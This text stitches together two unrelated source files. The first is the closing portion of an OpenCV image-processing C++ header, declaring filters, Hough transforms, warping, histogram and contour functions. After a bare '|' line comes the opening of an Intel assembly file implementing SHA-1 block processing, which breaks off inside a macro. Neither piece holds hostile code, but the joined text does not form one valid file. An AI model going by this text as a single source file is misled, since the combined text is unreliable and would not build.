virtual void setMaxScale(double maxScale) = 0;
virtual double getMaxScale() const = 0;
//! Scale step.
virtual void setScaleStep(double scaleStep) = 0;
virtual double getScaleStep() const = 0;
//! Scale votes threshold.
virtual void setScaleThresh(int scaleThresh) = 0;
virtual int getScaleThresh() const = 0;
//! Position votes threshold.
virtual void setPosThresh(int posThresh) = 0;
virtual int getPosThresh() const = 0;
};
class CV_EXPORTS_W CLAHE : public Algorithm
{
public:
CV_WRAP virtual void apply(InputArray src, OutputArray dst) = 0;
CV_WRAP virtual void setClipLimit(double clipLimit) = 0;
CV_WRAP virtual double getClipLimit() const = 0;
CV_WRAP virtual void setTilesGridSize(Size tileGridSize) = 0;
CV_WRAP virtual Size getTilesGridSize() const = 0;
CV_WRAP virtual void collectGarbage() = 0;
};
class CV_EXPORTS_W Subdiv2D
{
public:
enum { PTLOC_ERROR = -2,
PTLOC_OUTSIDE_RECT = -1,
PTLOC_INSIDE = 0,
PTLOC_VERTEX = 1,
PTLOC_ON_EDGE = 2
};
enum { NEXT_AROUND_ORG = 0x00,
NEXT_AROUND_DST = 0x22,
PREV_AROUND_ORG = 0x11,
PREV_AROUND_DST = 0x33,
NEXT_AROUND_LEFT = 0x13,
NEXT_AROUND_RIGHT = 0x31,
PREV_AROUND_LEFT = 0x20,
PREV_AROUND_RIGHT = 0x02
};
CV_WRAP Subdiv2D();
CV_WRAP Subdiv2D(Rect rect);
CV_WRAP void initDelaunay(Rect rect);
CV_WRAP int insert(Point2f pt);
CV_WRAP void insert(const std::vector<Point2f>& ptvec);
CV_WRAP int locate(Point2f pt, CV_OUT int& edge, CV_OUT int& vertex);
CV_WRAP int findNearest(Point2f pt, CV_OUT Point2f* nearestPt = 0);
CV_WRAP void getEdgeList(CV_OUT std::vector<Vec4f>& edgeList) const;
CV_WRAP void getTriangleList(CV_OUT std::vector<Vec6f>& triangleList) const;
CV_WRAP void getVoronoiFacetList(const std::vector<int>& idx, CV_OUT std::vector<std::vector<Point2f> >& facetList,
CV_OUT std::vector<Point2f>& facetCenters);
CV_WRAP Point2f getVertex(int vertex, CV_OUT int* firstEdge = 0) const;
CV_WRAP int getEdge( int edge, int nextEdgeType ) const;
CV_WRAP int nextEdge(int edge) const;
CV_WRAP int rotateEdge(int edge, int rotate) const;
CV_WRAP int symEdge(int edge) const;
CV_WRAP int edgeOrg(int edge, CV_OUT Point2f* orgpt = 0) const;
CV_WRAP int edgeDst(int edge, CV_OUT Point2f* dstpt = 0) const;
protected:
int newEdge();
void deleteEdge(int edge);
int newPoint(Point2f pt, bool isvirtual, int firstEdge = 0);
void deletePoint(int vtx);
void setEdgePoints( int edge, int orgPt, int dstPt );
void splice( int edgeA, int edgeB );
int connectEdges( int edgeA, int edgeB );
void swapEdges( int edge );
int isRightOf(Point2f pt, int edge) const;
void calcVoronoi();
void clearVoronoi();
void checkSubdiv() const;
struct CV_EXPORTS Vertex
{
Vertex();
Vertex(Point2f pt, bool _isvirtual, int _firstEdge=0);
bool isvirtual() const;
bool isfree() const;
int firstEdge;
int type;
Point2f pt;
};
struct CV_EXPORTS QuadEdge
{
QuadEdge();
QuadEdge(int edgeidx);
bool isfree() const;
int next[4];
int pt[4];
};
std::vector<Vertex> vtx;
std::vector<QuadEdge> qedges;
int freeQEdge;
int freePoint;
bool validGeometry;
int recentEdge;
Point2f topLeft;
Point2f bottomRight;
};
class CV_EXPORTS_W LineSegmentDetector : public Algorithm
{
public:
/**
* Detect lines in the input image.
*
* @param _image A grayscale(CV_8UC1) input image.
* If only a roi needs to be selected, use
* lsd_ptr->detect(image(roi), ..., lines);
* lines += Scalar(roi.x, roi.y, roi.x, roi.y);
* @param _lines Return: A vector of Vec4i elements specifying the beginning and ending point of a line.
* Where Vec4i is (x1, y1, x2, y2), point 1 is the start, point 2 - end.
* Returned lines are strictly oriented depending on the gradient.
* @param width Return: Vector of widths of the regions, where the lines are found. E.g. Width of line.
* @param prec Return: Vector of precisions with which the lines are found.
* @param nfa Return: Vector containing number of false alarms in the line region, with precision of 10%.
* The bigger the value, logarithmically better the detection.
* * -1 corresponds to 10 mean false alarms
* * 0 corresponds to 1 mean false alarm
* * 1 corresponds to 0.1 mean false alarms
* This vector will be calculated _only_ when the objects type is REFINE_ADV
*/
CV_WRAP virtual void detect(InputArray _image, OutputArray _lines,
OutputArray width = noArray(), OutputArray prec = noArray(),
OutputArray nfa = noArray()) = 0;
/**
* Draw lines on the given canvas.
*
* @param image The image, where lines will be drawn.
* Should have the size of the image, where the lines were found
* @param lines The lines that need to be drawn
*/
CV_WRAP virtual void drawSegments(InputOutputArray _image, InputArray lines) = 0;
/**
* Draw both vectors on the image canvas. Uses blue for lines 1 and red for lines 2.
*
* @param size The size of the image, where lines were found.
* @param lines1 The first lines that need to be drawn. Color - Blue.
* @param lines2 The second lines that need to be drawn. Color - Red.
* @param image Optional image, where lines will be drawn.
* Should have the size of the image, where the lines were found
* @return The number of mismatching pixels between lines1 and lines2.
*/
CV_WRAP virtual int compareSegments(const Size& size, InputArray lines1, InputArray lines2, InputOutputArray _image = noArray()) = 0;
virtual ~LineSegmentDetector() { }
};
//! Returns a pointer to a LineSegmentDetector class.
CV_EXPORTS_W Ptr<LineSegmentDetector> createLineSegmentDetector(
int _refine = LSD_REFINE_STD, double _scale = 0.8,
double _sigma_scale = 0.6, double _quant = 2.0, double _ang_th = 22.5,
double _log_eps = 0, double _density_th = 0.7, int _n_bins = 1024);
//! returns type (one of KERNEL_*) of 1D or 2D kernel specified by its coefficients.
CV_EXPORTS int getKernelType(InputArray kernel, Point anchor);
//! returns the primitive row filter with the specified kernel
CV_EXPORTS Ptr<BaseRowFilter> getLinearRowFilter(int srcType, int bufType,
InputArray kernel, int anchor,
int symmetryType);
//! returns the primitive column filter with the specified kernel
CV_EXPORTS Ptr<BaseColumnFilter> getLinearColumnFilter(int bufType, int dstType,
InputArray kernel, int anchor,
int symmetryType, double delta = 0,
int bits = 0);
//! returns 2D filter with the specified kernel
CV_EXPORTS Ptr<BaseFilter> getLinearFilter(int srcType, int dstType,
InputArray kernel,
Point anchor = Point(-1,-1),
double delta = 0, int bits = 0);
//! returns the separable linear filter engine
CV_EXPORTS Ptr<FilterEngine> createSeparableLinearFilter(int srcType, int dstType,
InputArray rowKernel, InputArray columnKernel,
Point anchor = Point(-1,-1), double delta = 0,
int rowBorderType = BORDER_DEFAULT,
int columnBorderType = -1,
const Scalar& borderValue = Scalar());
//! returns the non-separable linear filter engine
CV_EXPORTS Ptr<FilterEngine> createLinearFilter(int srcType, int dstType,
InputArray kernel, Point _anchor = Point(-1,-1),
double delta = 0, int rowBorderType = BORDER_DEFAULT,
int columnBorderType = -1, const Scalar& borderValue = Scalar());
//! returns the Gaussian kernel with the specified parameters
CV_EXPORTS_W Mat getGaussianKernel( int ksize, double sigma, int ktype = CV_64F );
//! returns the Gaussian filter engine
CV_EXPORTS Ptr<FilterEngine> createGaussianFilter( int type, Size ksize,
double sigma1, double sigma2 = 0,
int borderType = BORDER_DEFAULT);
//! initializes kernels of the generalized Sobel operator
CV_EXPORTS_W void getDerivKernels( OutputArray kx, OutputArray ky,
int dx, int dy, int ksize,
bool normalize = false, int ktype = CV_32F );
//! returns filter engine for the generalized Sobel operator
CV_EXPORTS Ptr<FilterEngine> createDerivFilter( int srcType, int dstType,
int dx, int dy, int ksize,
int borderType = BORDER_DEFAULT );
//! returns horizontal 1D box filter
CV_EXPORTS Ptr<BaseRowFilter> getRowSumFilter(int srcType, int sumType,
int ksize, int anchor = -1);
//! returns vertical 1D box filter
CV_EXPORTS Ptr<BaseColumnFilter> getColumnSumFilter( int sumType, int dstType,
int ksize, int anchor = -1,
double scale = 1);
//! returns box filter engine
CV_EXPORTS Ptr<FilterEngine> createBoxFilter( int srcType, int dstType, Size ksize,
Point anchor = Point(-1,-1),
bool normalize = true,
int borderType = BORDER_DEFAULT);
//! returns the Gabor kernel with the specified parameters
CV_EXPORTS_W Mat getGaborKernel( Size ksize, double sigma, double theta, double lambd,
double gamma, double psi = CV_PI*0.5, int ktype = CV_64F );
//! returns horizontal 1D morphological filter
CV_EXPORTS Ptr<BaseRowFilter> getMorphologyRowFilter(int op, int type, int ksize, int anchor = -1);
//! returns vertical 1D morphological filter
CV_EXPORTS Ptr<BaseColumnFilter> getMorphologyColumnFilter(int op, int type, int ksize, int anchor = -1);
//! returns 2D morphological filter
CV_EXPORTS Ptr<BaseFilter> getMorphologyFilter(int op, int type, InputArray kernel,
Point anchor = Point(-1,-1));
//! returns "magic" border value for erosion and dilation. It is automatically transformed to Scalar::all(-DBL_MAX) for dilation.
static inline Scalar morphologyDefaultBorderValue() { return Scalar::all(DBL_MAX); }
//! returns morphological filter engine. Only MORPH_ERODE and MORPH_DILATE are supported.
CV_EXPORTS Ptr<FilterEngine> createMorphologyFilter(int op, int type, InputArray kernel,
Point anchor = Point(-1,-1), int rowBorderType = BORDER_CONSTANT,
int columnBorderType = -1, const Scalar& borderValue = morphologyDefaultBorderValue());
//! returns structuring element of the specified shape and size
CV_EXPORTS_W Mat getStructuringElement(int shape, Size ksize, Point anchor = Point(-1,-1));
//! smooths the image using median filter.
CV_EXPORTS_W void medianBlur( InputArray src, OutputArray dst, int ksize );
//! smooths the image using Gaussian filter.
CV_EXPORTS_W void GaussianBlur( InputArray src, OutputArray dst, Size ksize,
double sigmaX, double sigmaY = 0,
int borderType = BORDER_DEFAULT );
//! smooths the image using bilateral filter
CV_EXPORTS_W void bilateralFilter( InputArray src, OutputArray dst, int d,
double sigmaColor, double sigmaSpace,
int borderType = BORDER_DEFAULT );
//! smooths the image using the box filter. Each pixel is processed in O(1) time
CV_EXPORTS_W void boxFilter( InputArray src, OutputArray dst, int ddepth,
Size ksize, Point anchor = Point(-1,-1),
bool normalize = true,
int borderType = BORDER_DEFAULT );
CV_EXPORTS_W void sqrBoxFilter( InputArray _src, OutputArray _dst, int ddepth,
Size ksize, Point anchor = Point(-1, -1),
bool normalize = true,
int borderType = BORDER_DEFAULT );
//! a synonym for normalized box filter
CV_EXPORTS_W void blur( InputArray src, OutputArray dst,
Size ksize, Point anchor = Point(-1,-1),
int borderType = BORDER_DEFAULT );
//! applies non-separable 2D linear filter to the image
CV_EXPORTS_W void filter2D( InputArray src, OutputArray dst, int ddepth,
InputArray kernel, Point anchor = Point(-1,-1),
double delta = 0, int borderType = BORDER_DEFAULT );
//! applies separable 2D linear filter to the image
CV_EXPORTS_W void sepFilter2D( InputArray src, OutputArray dst, int ddepth,
InputArray kernelX, InputArray kernelY,
Point anchor = Point(-1,-1),
double delta = 0, int borderType = BORDER_DEFAULT );
//! applies generalized Sobel operator to the image
CV_EXPORTS_W void Sobel( InputArray src, OutputArray dst, int ddepth,
int dx, int dy, int ksize = 3,
double scale = 1, double delta = 0,
int borderType = BORDER_DEFAULT );
//! applies the vertical or horizontal Scharr operator to the image
CV_EXPORTS_W void Scharr( InputArray src, OutputArray dst, int ddepth,
int dx, int dy, double scale = 1, double delta = 0,
int borderType = BORDER_DEFAULT );
//! applies Laplacian operator to the image
CV_EXPORTS_W void Laplacian( InputArray src, OutputArray dst, int ddepth,
int ksize = 1, double scale = 1, double delta = 0,
int borderType = BORDER_DEFAULT );
//! applies Canny edge detector and produces the edge map.
CV_EXPORTS_W void Canny( InputArray image, OutputArray edges,
double threshold1, double threshold2,
int apertureSize = 3, bool L2gradient = false );
//! computes minimum eigen value of 2x2 derivative covariation matrix at each pixel - the cornerness criteria
CV_EXPORTS_W void cornerMinEigenVal( InputArray src, OutputArray dst,
int blockSize, int ksize = 3,
int borderType = BORDER_DEFAULT );
//! computes Harris cornerness criteria at each image pixel
CV_EXPORTS_W void cornerHarris( InputArray src, OutputArray dst, int blockSize,
int ksize, double k,
int borderType = BORDER_DEFAULT );
//! computes both eigenvalues and the eigenvectors of 2x2 derivative covariation matrix at each pixel. The output is stored as 6-channel matrix.
CV_EXPORTS_W void cornerEigenValsAndVecs( InputArray src, OutputArray dst,
int blockSize, int ksize,
int borderType = BORDER_DEFAULT );
//! computes another complex cornerness criteria at each pixel
CV_EXPORTS_W void preCornerDetect( InputArray src, OutputArray dst, int ksize,
int borderType = BORDER_DEFAULT );
//! adjusts the corner locations with sub-pixel accuracy to maximize the certain cornerness criteria
CV_EXPORTS_W void cornerSubPix( InputArray image, InputOutputArray corners,
Size winSize, Size zeroZone,
TermCriteria criteria );
//! finds the strong enough corners where the cornerMinEigenVal() or cornerHarris() report the local maxima
CV_EXPORTS_W void goodFeaturesToTrack( InputArray image, OutputArray corners,
int maxCorners, double qualityLevel, double minDistance,
InputArray mask = noArray(), int blockSize = 3,
bool useHarrisDetector = false, double k = 0.04 );
//! finds lines in the black-n-white image using the standard or pyramid Hough transform
CV_EXPORTS_W void HoughLines( InputArray image, OutputArray lines,
double rho, double theta, int threshold,
double srn = 0, double stn = 0,
double min_theta = 0, double max_theta = CV_PI );
//! finds line segments in the black-n-white image using probabilistic Hough transform
CV_EXPORTS_W void HoughLinesP( InputArray image, OutputArray lines,
double rho, double theta, int threshold,
double minLineLength = 0, double maxLineGap = 0 );
//! finds circles in the grayscale image using 2+1 gradient Hough transform
CV_EXPORTS_W void HoughCircles( InputArray image, OutputArray circles,
int method, double dp, double minDist,
double param1 = 100, double param2 = 100,
int minRadius = 0, int maxRadius = 0 );
//! erodes the image (applies the local minimum operator)
CV_EXPORTS_W void erode( InputArray src, OutputArray dst, InputArray kernel,
Point anchor = Point(-1,-1), int iterations = 1,
int borderType = BORDER_CONSTANT,
const Scalar& borderValue = morphologyDefaultBorderValue() );
//! dilates the image (applies the local maximum operator)
CV_EXPORTS_W void dilate( InputArray src, OutputArray dst, InputArray kernel,
Point anchor = Point(-1,-1), int iterations = 1,
int borderType = BORDER_CONSTANT,
const Scalar& borderValue = morphologyDefaultBorderValue() );
//! applies an advanced morphological operation to the image
CV_EXPORTS_W void morphologyEx( InputArray src, OutputArray dst,
int op, InputArray kernel,
Point anchor = Point(-1,-1), int iterations = 1,
int borderType = BORDER_CONSTANT,
const Scalar& borderValue = morphologyDefaultBorderValue() );
//! resizes the image
CV_EXPORTS_W void resize( InputArray src, OutputArray dst,
Size dsize, double fx = 0, double fy = 0,
int interpolation = INTER_LINEAR );
//! warps the image using affine transformation
CV_EXPORTS_W void warpAffine( InputArray src, OutputArray dst,
InputArray M, Size dsize,
int flags = INTER_LINEAR,
int borderMode = BORDER_CONSTANT,
const Scalar& borderValue = Scalar());
//! warps the image using perspective transformation
CV_EXPORTS_W void warpPerspective( InputArray src, OutputArray dst,
InputArray M, Size dsize,
int flags = INTER_LINEAR,
int borderMode = BORDER_CONSTANT,
const Scalar& borderValue = Scalar());
//! warps the image using the precomputed maps. The maps are stored in either floating-point or integer fixed-point format
CV_EXPORTS_W void remap( InputArray src, OutputArray dst,
InputArray map1, InputArray map2,
int interpolation, int borderMode = BORDER_CONSTANT,
const Scalar& borderValue = Scalar());
//! converts maps for remap from floating-point to fixed-point format or backwards
CV_EXPORTS_W void convertMaps( InputArray map1, InputArray map2,
OutputArray dstmap1, OutputArray dstmap2,
int dstmap1type, bool nninterpolation = false );
//! returns 2x3 affine transformation matrix for the planar rotation.
CV_EXPORTS_W Mat getRotationMatrix2D( Point2f center, double angle, double scale );
//! returns 3x3 perspective transformation for the corresponding 4 point pairs.
CV_EXPORTS Mat getPerspectiveTransform( const Point2f src[], const Point2f dst[] );
//! returns 2x3 affine transformation for the corresponding 3 point pairs.
CV_EXPORTS Mat getAffineTransform( const Point2f src[], const Point2f dst[] );
//! computes 2x3 affine transformation matrix that is inverse to the specified 2x3 affine transformation.
CV_EXPORTS_W void invertAffineTransform( InputArray M, OutputArray iM );
CV_EXPORTS_W Mat getPerspectiveTransform( InputArray src, InputArray dst );
CV_EXPORTS_W Mat getAffineTransform( InputArray src, InputArray dst );
//! extracts rectangle from the image at sub-pixel location
CV_EXPORTS_W void getRectSubPix( InputArray image, Size patchSize,
Point2f center, OutputArray patch, int patchType = -1 );
//! computes the log polar transform
CV_EXPORTS_W void logPolar( InputArray src, OutputArray dst,
Point2f center, double M, int flags );
//! computes the linear polar transform
CV_EXPORTS_W void linearPolar( InputArray src, OutputArray dst,
Point2f center, double maxRadius, int flags );
//! computes the integral image
CV_EXPORTS_W void integral( InputArray src, OutputArray sum, int sdepth = -1 );
//! computes the integral image and integral for the squared image
CV_EXPORTS_AS(integral2) void integral( InputArray src, OutputArray sum,
OutputArray sqsum, int sdepth = -1, int sqdepth = -1 );
//! computes the integral image, integral for the squared image and the tilted integral image
CV_EXPORTS_AS(integral3) void integral( InputArray src, OutputArray sum,
OutputArray sqsum, OutputArray tilted,
int sdepth = -1, int sqdepth = -1 );
//! adds image to the accumulator (dst += src). Unlike cv::add, dst and src can have different types.
CV_EXPORTS_W void accumulate( InputArray src, InputOutputArray dst,
InputArray mask = noArray() );
//! adds squared src image to the accumulator (dst += src*src).
CV_EXPORTS_W void accumulateSquare( InputArray src, InputOutputArray dst,
InputArray mask = noArray() );
//! adds product of the 2 images to the accumulator (dst += src1*src2).
CV_EXPORTS_W void accumulateProduct( InputArray src1, InputArray src2,
InputOutputArray dst, InputArray mask=noArray() );
//! updates the running average (dst = dst*(1-alpha) + src*alpha)
CV_EXPORTS_W void accumulateWeighted( InputArray src, InputOutputArray dst,
double alpha, InputArray mask = noArray() );
CV_EXPORTS_W Point2d phaseCorrelate(InputArray src1, InputArray src2,
InputArray window = noArray(), CV_OUT double* response = 0);
CV_EXPORTS_W void createHanningWindow(OutputArray dst, Size winSize, int type);
//! applies fixed threshold to the image
CV_EXPORTS_W double threshold( InputArray src, OutputArray dst,
double thresh, double maxval, int type );
//! applies variable (adaptive) threshold to the image
CV_EXPORTS_W void adaptiveThreshold( InputArray src, OutputArray dst,
double maxValue, int adaptiveMethod,
int thresholdType, int blockSize, double C );
//! smooths and downsamples the image
CV_EXPORTS_W void pyrDown( InputArray src, OutputArray dst,
const Size& dstsize = Size(), int borderType = BORDER_DEFAULT );
//! upsamples and smoothes the image
CV_EXPORTS_W void pyrUp( InputArray src, OutputArray dst,
const Size& dstsize = Size(), int borderType = BORDER_DEFAULT );
//! builds the gaussian pyramid using pyrDown() as a basic operation
CV_EXPORTS void buildPyramid( InputArray src, OutputArrayOfArrays dst,
int maxlevel, int borderType = BORDER_DEFAULT );
//! corrects lens distortion for the given camera matrix and distortion coefficients
CV_EXPORTS_W void undistort( InputArray src, OutputArray dst,
InputArray cameraMatrix,
InputArray distCoeffs,
InputArray newCameraMatrix = noArray() );
//! initializes maps for cv::remap() to correct lens distortion and optionally rectify the image
CV_EXPORTS_W void initUndistortRectifyMap( InputArray cameraMatrix, InputArray distCoeffs,
InputArray R, InputArray newCameraMatrix,
Size size, int m1type, OutputArray map1, OutputArray map2 );
//! initializes maps for cv::remap() for wide-angle
CV_EXPORTS_W float initWideAngleProjMap( InputArray cameraMatrix, InputArray distCoeffs,
Size imageSize, int destImageWidth,
int m1type, OutputArray map1, OutputArray map2,
int projType = PROJ_SPHERICAL_EQRECT, double alpha = 0);
//! returns the default new camera matrix (by default it is the same as cameraMatrix unless centerPricipalPoint=true)
CV_EXPORTS_W Mat getDefaultNewCameraMatrix( InputArray cameraMatrix, Size imgsize = Size(),
bool centerPrincipalPoint = false );
//! returns points' coordinates after lens distortion correction
CV_EXPORTS_W void undistortPoints( InputArray src, OutputArray dst,
InputArray cameraMatrix, InputArray distCoeffs,
InputArray R = noArray(), InputArray P = noArray());
//! computes the joint dense histogram for a set of images.
CV_EXPORTS void calcHist( const Mat* images, int nimages,
const int* channels, InputArray mask,
OutputArray hist, int dims, const int* histSize,
const float** ranges, bool uniform = true, bool accumulate = false );
//! computes the joint sparse histogram for a set of images.
CV_EXPORTS void calcHist( const Mat* images, int nimages,
const int* channels, InputArray mask,
SparseMat& hist, int dims,
const int* histSize, const float** ranges,
bool uniform = true, bool accumulate = false );
CV_EXPORTS_W void calcHist( InputArrayOfArrays images,
const std::vector<int>& channels,
InputArray mask, OutputArray hist,
const std::vector<int>& histSize,
const std::vector<float>& ranges,
bool accumulate = false );
//! computes back projection for the set of images
CV_EXPORTS void calcBackProject( const Mat* images, int nimages,
const int* channels, InputArray hist,
OutputArray backProject, const float** ranges,
double scale = 1, bool uniform = true );
//! computes back projection for the set of images
CV_EXPORTS void calcBackProject( const Mat* images, int nimages,
const int* channels, const SparseMat& hist,
OutputArray backProject, const float** ranges,
double scale = 1, bool uniform = true );
CV_EXPORTS_W void calcBackProject( InputArrayOfArrays images, const std::vector<int>& channels,
InputArray hist, OutputArray dst,
const std::vector<float>& ranges,
double scale );
//! compares two histograms stored in dense arrays
CV_EXPORTS_W double compareHist( InputArray H1, InputArray H2, int method );
//! compares two histograms stored in sparse arrays
CV_EXPORTS double compareHist( const SparseMat& H1, const SparseMat& H2, int method );
//! normalizes the grayscale image brightness and contrast by normalizing its histogram
CV_EXPORTS_W void equalizeHist( InputArray src, OutputArray dst );
CV_EXPORTS float EMD( InputArray signature1, InputArray signature2,
int distType, InputArray cost=noArray(),
float* lowerBound = 0, OutputArray flow = noArray() );
//! segments the image using watershed algorithm
CV_EXPORTS_W void watershed( InputArray image, InputOutputArray markers );
//! filters image using meanshift algorithm
CV_EXPORTS_W void pyrMeanShiftFiltering( InputArray src, OutputArray dst,
double sp, double sr, int maxLevel = 1,
TermCriteria termcrit=TermCriteria(TermCriteria::MAX_ITER+TermCriteria::EPS,5,1) );
//! segments the image using GrabCut algorithm
CV_EXPORTS_W void grabCut( InputArray img, InputOutputArray mask, Rect rect,
InputOutputArray bgdModel, InputOutputArray fgdModel,
int iterCount, int mode = GC_EVAL );
//! builds the discrete Voronoi diagram
CV_EXPORTS_AS(distanceTransformWithLabels) void distanceTransform( InputArray src, OutputArray dst,
OutputArray labels, int distanceType, int maskSize,
int labelType = DIST_LABEL_CCOMP );
//! computes the distance transform map
CV_EXPORTS_W void distanceTransform( InputArray src, OutputArray dst,
int distanceType, int maskSize );
//! fills the semi-uniform image region starting from the specified seed point
CV_EXPORTS int floodFill( InputOutputArray image,
Point seedPoint, Scalar newVal, CV_OUT Rect* rect = 0,
Scalar loDiff = Scalar(), Scalar upDiff = Scalar(),
int flags = 4 );
//! fills the semi-uniform image region and/or the mask starting from the specified seed point
CV_EXPORTS_W int floodFill( InputOutputArray image, InputOutputArray mask,
Point seedPoint, Scalar newVal, CV_OUT Rect* rect=0,
Scalar loDiff = Scalar(), Scalar upDiff = Scalar(),
int flags = 4 );
//! converts image from one color space to another
CV_EXPORTS_W void cvtColor( InputArray src, OutputArray dst, int code, int dstCn = 0 );
// main function for all demosaicing procceses
CV_EXPORTS_W void demosaicing(InputArray _src, OutputArray _dst, int code, int dcn = 0);
//! computes moments of the rasterized shape or a vector of points
CV_EXPORTS_W Moments moments( InputArray array, bool binaryImage = false );
//! computes 7 Hu invariants from the moments
CV_EXPORTS void HuMoments( const Moments& moments, double hu[7] );
CV_EXPORTS_W void HuMoments( const Moments& m, OutputArray hu );
//! computes the proximity map for the raster template and the image where the template is searched for
CV_EXPORTS_W void matchTemplate( InputArray image, InputArray templ,
OutputArray result, int method );
// computes the connected components labeled image of boolean image ``image``
// with 4 or 8 way connectivity - returns N, the total
// number of labels [0, N-1] where 0 represents the background label.
// ltype specifies the output label image type, an important
// consideration based on the total number of labels or
// alternatively the total number of pixels in the source image.
CV_EXPORTS_W int connectedComponents(InputArray image, OutputArray labels,
int connectivity = 8, int ltype = CV_32S);
CV_EXPORTS_W int connectedComponentsWithStats(InputArray image, OutputArray labels,
OutputArray stats, OutputArray centroids,
int connectivity = 8, int ltype = CV_32S);
//! retrieves contours and the hierarchical information from black-n-white image.
CV_EXPORTS_W void findContours( InputOutputArray image, OutputArrayOfArrays contours,
OutputArray hierarchy, int mode,
int method, Point offset = Point());
//! retrieves contours from black-n-white image.
CV_EXPORTS void findContours( InputOutputArray image, OutputArrayOfArrays contours,
int mode, int method, Point offset = Point());
//! approximates contour or a curve using Douglas-Peucker algorithm
CV_EXPORTS_W void approxPolyDP( InputArray curve,
OutputArray approxCurve,
double epsilon, bool closed );
//! computes the contour perimeter (closed=true) or a curve length
CV_EXPORTS_W double arcLength( InputArray curve, bool closed );
//! computes the bounding rectangle for a contour
CV_EXPORTS_W Rect boundingRect( InputArray points );
//! computes the contour area
CV_EXPORTS_W double contourArea( InputArray contour, bool oriented = false );
//! computes the minimal rotated rectangle for a set of points
CV_EXPORTS_W RotatedRect minAreaRect( InputArray points );
//! computes boxpoints
CV_EXPORTS_W void boxPoints(RotatedRect box, OutputArray points);
//! computes the minimal enclosing circle for a set of points
CV_EXPORTS_W void minEnclosingCircle( InputArray points,
CV_OUT Point2f& center, CV_OUT float& radius );
//! computes the minimal enclosing triangle for a set of points and returns its area
CV_EXPORTS_W double minEnclosingTriangle( InputArray points, CV_OUT OutputArray triangle );
//! matches two contours using one of the available algorithms
CV_EXPORTS_W double matchShapes( InputArray contour1, InputArray contour2,
int method, double parameter );
//! computes convex hull for a set of 2D points.
CV_EXPORTS_W void convexHull( InputArray points, OutputArray hull,
bool clockwise = false, bool returnPoints = true );
//! computes the contour convexity defects
CV_EXPORTS_W void convexityDefects( InputArray contour, InputArray convexhull, OutputArray convexityDefects );
//! returns true if the contour is convex. Does not support contours with self-intersection
CV_EXPORTS_W bool isContourConvex( InputArray contour );
//! finds intersection of two convex polygons
CV_EXPORTS_W float intersectConvexConvex( InputArray _p1, InputArray _p2,
OutputArray _p12, bool handleNested = true );
//! fits ellipse to the set of 2D points
CV_EXPORTS_W RotatedRect fitEllipse( InputArray points );
//! fits line to the set of 2D points using M-estimator algorithm
CV_EXPORTS_W void fitLine( InputArray points, OutputArray line, int distType,
double param, double reps, double aeps );
//! checks if the point is inside the contour. Optionally computes the signed distance from the point to the contour boundary
CV_EXPORTS_W double pointPolygonTest( InputArray contour, Point2f pt, bool measureDist );
//! computes whether two rotated rectangles intersect and returns the vertices of the intersecting region
CV_EXPORTS_W int rotatedRectangleIntersection( const RotatedRect& rect1, const RotatedRect& rect2, OutputArray intersectingRegion );
CV_EXPORTS_W Ptr<CLAHE> createCLAHE(double clipLimit = 40.0, Size tileGridSize = Size(8, 8));
//! Ballard, D.H. (1981). Generalizing the Hough transform to detect arbitrary shapes. Pattern Recognition 13 (2): 111-122.
//! Detects position only without traslation and rotation
CV_EXPORTS Ptr<GeneralizedHoughBallard> createGeneralizedHoughBallard();
//! Guil, N., González-Linares, J.M. and Zapata, E.L. (1999). Bidimensional shape detection using an invariant approach. Pattern Recognition 32 (6): 1025-1038.
//! Detects position, traslation and rotation
CV_EXPORTS Ptr<GeneralizedHoughGuil> createGeneralizedHoughGuil();
//! Performs linear blending of two images
CV_EXPORTS void blendLinear(InputArray src1, InputArray src2, InputArray weights1, InputArray weights2, OutputArray dst);
} // cv
#endif
|
;===============================================================================
; Copyright 2015-2021 Intel Corporation
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS,
; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; See the License for the specific language governing permissions and
; limitations under the License.
;===============================================================================
;
;
; Purpose: Cryptography Primitive.
; Message block processing according to SHA1
;
; Content:
; UpdateSHA1
;
;
%include "asmdefs.inc"
%include "ia_32e.inc"
%include "pcpvariant.inc"
%if (_ENABLE_ALG_SHA1_)
%if (_SHA_NI_ENABLING_ == _FEATURE_OFF_) || (_SHA_NI_ENABLING_ == _FEATURE_TICKTOCK_)
%if (_IPP32E >= _IPP32E_M7) && (_IPP32E < _IPP32E_U8 )
;;
;; Magic functions defined in FIPS 180-1
;;
%macro MAGIC_F0 4-5.nolist
%xdefine %%regF %1
%xdefine %%regB %2
%xdefine %%regC %3
%xdefine %%regD %4
%xdefine %%regT %5
mov %%regF,%%regC
xor %%regF,%%regD
and %%regF,%%regB
xor %%regF,%%regD
%endmacro
%macro MAGIC_F1 4-5.nolist
%xdefine %%regF %1
%xdefine %%regB %2
%xdefine %%regC %3
%xdefine %%regD %4
%xdefine %%regT %5
mov %%regF,%%regD
xor %%regF,%%regC
xor %%regF,%%regB
%endmacro
%macro MAGIC_F2 5.nolist
%xdefine %%regF %1
%xdefine %%regB %2
%xdefine %%regC %3
%xdefine %%regD %4
%xdefine %%regT %5
mov %%regF,%%regB
mov %%regT,%%regB
or %%regF,%%regC
and %%regT,%%regC
and %%regF,%%regD
or %%regF,%%regT
%endmacro
%macro MAGIC_F3 4-5.nolist
%xdefine %%regF %1
%xdefine %%regB %2
%xdefine %%regC %3
%xdefine %%regD %4
%xdefine %%regT %5
MAGIC_F1 {%%regF},{%%regB},{%%regC},{%%regD},{%%regT}
%endmacro
;;
;; single SHA1 step
;;
;; Ipp32u tmp = ROL(A,5) + MAGIC_Fi(B,C,D) + E + W[t] + CNT[i];
;; E = D;
;; D = C;
;; C = ROL(B,30);
;; B = A;
;; A = tmp;
;;
%macro SHA1_STEP 10.nolist
%xdefine %%regA %1
%xdefine %%regB %2
%xdefine %%regC %3
%xdefine %%regD %4
%xdefine %%regE %5
%xdefine %%regT %6
%xdefine %%regF %7
%xdefine %%memW %8
%xdefine %%immCNT %9
%xdefine %%MAGIC %10
add %%regE,%%immCNT
add %%regE,[%%memW]
mov %%regT,%%regA
rol %%regT,5
add %%regE,%%regT
%%MAGIC %%regF,%%regB,%%regC,%%regD,%%regT ;; FUN = MAGIC_Fi(B,C,D)
rol %%regB,30
add %%regE,%%regF
%endmacro
%macro SHA1_RND0 8.nolist
%xdefine %%regA %1
%xdefine %%regB %2
%xdefine %%regC %3
